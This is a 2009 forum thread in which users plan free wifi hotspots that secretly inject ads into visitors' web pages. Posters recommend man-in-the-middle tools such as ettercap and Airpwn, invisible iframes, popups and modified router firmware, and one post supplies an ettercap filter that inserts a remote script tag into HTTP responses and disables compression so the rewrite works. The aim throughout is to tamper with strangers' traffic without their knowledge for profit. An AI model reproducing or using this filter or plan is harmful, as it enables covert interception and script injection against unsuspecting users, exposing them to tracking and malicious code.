shift Posted April 1, 2009 Posted April 1, 2009 I was thinking of making a few free wifi spots with ads injected into them. So far the only way i can think of how to do is is forcing it through a proxy and restrict them to just the proxy.. but there has to be a cleaner way of just injecting some code into pages... any one have any ideas? Quote
shift Posted April 1, 2009 Author Posted April 1, 2009 Ettercap? Would i be able to some how run it on a router? Ideally i want to just drop some routers around town Quote
DingleBerries Posted April 1, 2009 Posted April 1, 2009 If you find a way to do this I would really like to know. I was things about doing something like with with OpenWRT, yay google ad sense. Quote
shift Posted April 1, 2009 Author Posted April 1, 2009 Thats my plan to once figure it out, only way so far is through a proxy server but i would like it to all be done within a router. so plugin it in and leave it Quote
DingleBerries Posted April 1, 2009 Posted April 1, 2009 Here are a few things I have thought up and read so far. Use mod_rewrite for Squid to place ads in pages. Have ettercap put an invisible iframe in every page :) Ettercap again to issue a js command to open popups Here is a great link: http://forums.whirlpool.net.au/forum-repli...cfm/795955.html Quote
dr0p Posted April 2, 2009 Posted April 2, 2009 Personally I would just use ettercap to inject iframes :3 If you're looking to just drop routers, I'd look into modifying the OpenWRT firmware. Quote
DingleBerries Posted April 2, 2009 Posted April 2, 2009 I do not know about shift, but I live in a heavily populate area and getting people to hop on mine wouldn't be very hard. Most of them spend their extra time on facebook so I have been looking over the html of that to see if i cant find some nifty was of injecting ads there. Quote
shift Posted April 2, 2009 Author Posted April 2, 2009 Let me know if you come up with anything, i would just use some random buddies internet then set up some as AP's and some as repeaters to drop around. ettercap would work but you would need a computer to be there to do the dirty work. if you could find a way to build it into the firmware it would be good to go! There is a service called "my ad network" in the new ddwrt firmware that does it through a third party company.. but i would rather do it my self and not give away half the profits! . so i might try and decomplile it and see what if there's anything useful in there :) Quote
Zimmer Posted April 5, 2009 Posted April 5, 2009 I believe a guy they interviewed did this kind of thing (inject his face in google image) http://www.hak5.org/episodes/season-3-epis...hmoocon-special. Sorry I can't remember more :(. Quote
will-wtf Posted April 15, 2009 Posted April 15, 2009 mmm. how was it that guy, a few episodes back injected on a local network, his picture as the google logo? edit: didn't read down.... the fail Quote
shift Posted April 29, 2009 Author Posted April 29, 2009 I emailed him but never got a response :( Quote
atrocity Posted May 12, 2009 Posted May 12, 2009 Er, guys, wouldn't the google ads NOT see the full content of the page sicne it's in an I-frame...meaning it wont' target ads...meaning it won't display ads at all? Quote
shift Posted May 13, 2009 Author Posted May 13, 2009 Thats a good question, Would you be able to monitor packts and insert them after a certain tag ?like right after a <p> or something similar... hmmmmm Quote
dr0p Posted May 15, 2009 Posted May 15, 2009 Er, guys, wouldn't the google ads NOT see the full content of the page sicne it's in an I-frame...meaning it wont' target ads...meaning it won't display ads at all? My initial suggestion of iframes was pretty generic, but you could create a customized filter for each popular site such as myspace, facebook, etc. Quote
DrivenMad Posted June 1, 2009 Posted June 1, 2009 I have noticed that the limitation of the APs, even with open source firmware is that they dont have enough resources to run perl or Mysql. The trick is to run a slim version of a captive portal. Example : NoCatAuth type apps. If you can get an AP that you can add storage to , like the netgear usb versions that you can flash maybe. The other option is to use Alix boards connected to a regualr AP will work wonderfully :) Hope this helps :) DM Quote
haxwithaxe Posted July 22, 2009 Posted July 22, 2009 Hey all, Any progress on this? I work for a company that makes custom OpenWRT based firmware and I've noticed OpenWRT has an ettercap package in their opkg repo. And we've thought of doing this but never have tried and I'd love to be able to show the results of this discussion to my boss cause he's been jonesin' for this stuff for a while but hasn't wanted us to spend time on it. Also I have routers i can use to test on so if someone want's testing done I'll gladly help out. Idea: use remote mysql db, and local ettercap. you'd be suprised the stuff you can squeeze out of a linksys wrt54gl. Quote
lopez1364 Posted July 22, 2009 Posted July 22, 2009 http://www.vimeo.com/2295785 Check this video out. Here he shows you how to inject HTML into every site that is visited by a user using ettercap and MITM. Quote
CrashZilla Posted July 22, 2009 Posted July 22, 2009 I would use ettercap http://ettercap.sourceforge.net/ Quote
X3N Posted July 22, 2009 Posted July 22, 2009 this sounds like an excellent project for the pinapple Quote
Jason Cooper Posted July 22, 2009 Posted July 22, 2009 You could use a filter like this to add extra javascript into their web pages. The only down side to this is that you will risk the end of the their html file being cut off (Though the regular expressions dropping the generator and keywords from the html streams should avoid that for most pages.) Note: I haven't actually tested this but it is based on one of my known working filters and aslong as ettercap has been compiled with libpcre support it should work (though you may need to fix a few bugs) Â Â Â Â Â Â if (ip.proto == TCP && tcp.src == 80){ Â Â Â Â Â Â Â Â pcre_regex(DATA.data,"<meta name=\"generator\" content=.*?>", ""); Â Â Â Â Â Â Â Â pcre_regex(DATA.data,"<meta name=\"keywords\" content=.*?>", ""); Â Â Â Â Â Â Â Â replace("</head>", "<script src="tiny Url to your javascript file"></script></head>")); Â Â Â Â Â Â Â Â } Â Â Â Â Â Â } Â Â Â Â Â Â if (ip.proto == TCP && tcp.dst == 80) { Â Â Â Â Â Â Â Â if (search(DATA.data, "Accept-Encoding")) { Â Â Â Â Â Â Â Â Â Â Â Â replace("Accept-Encoding", "Accept-Rubbish!"); Â Â Â Â Â Â Â Â } Â Â Â Â Â Â } Quote
X3N Posted July 22, 2009 Posted July 22, 2009 as an alternative to ettercap im sure you could use a perl script like this one http://www.ex-parrot.com/pete/upside-down-ternet.html except change it to print your ad's or whatever you wanted... Quote
DingleBerries Posted July 22, 2009 Posted July 22, 2009 If you could get Airpwn running on a fon or other FOSS router then I think that would be more than enough. Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.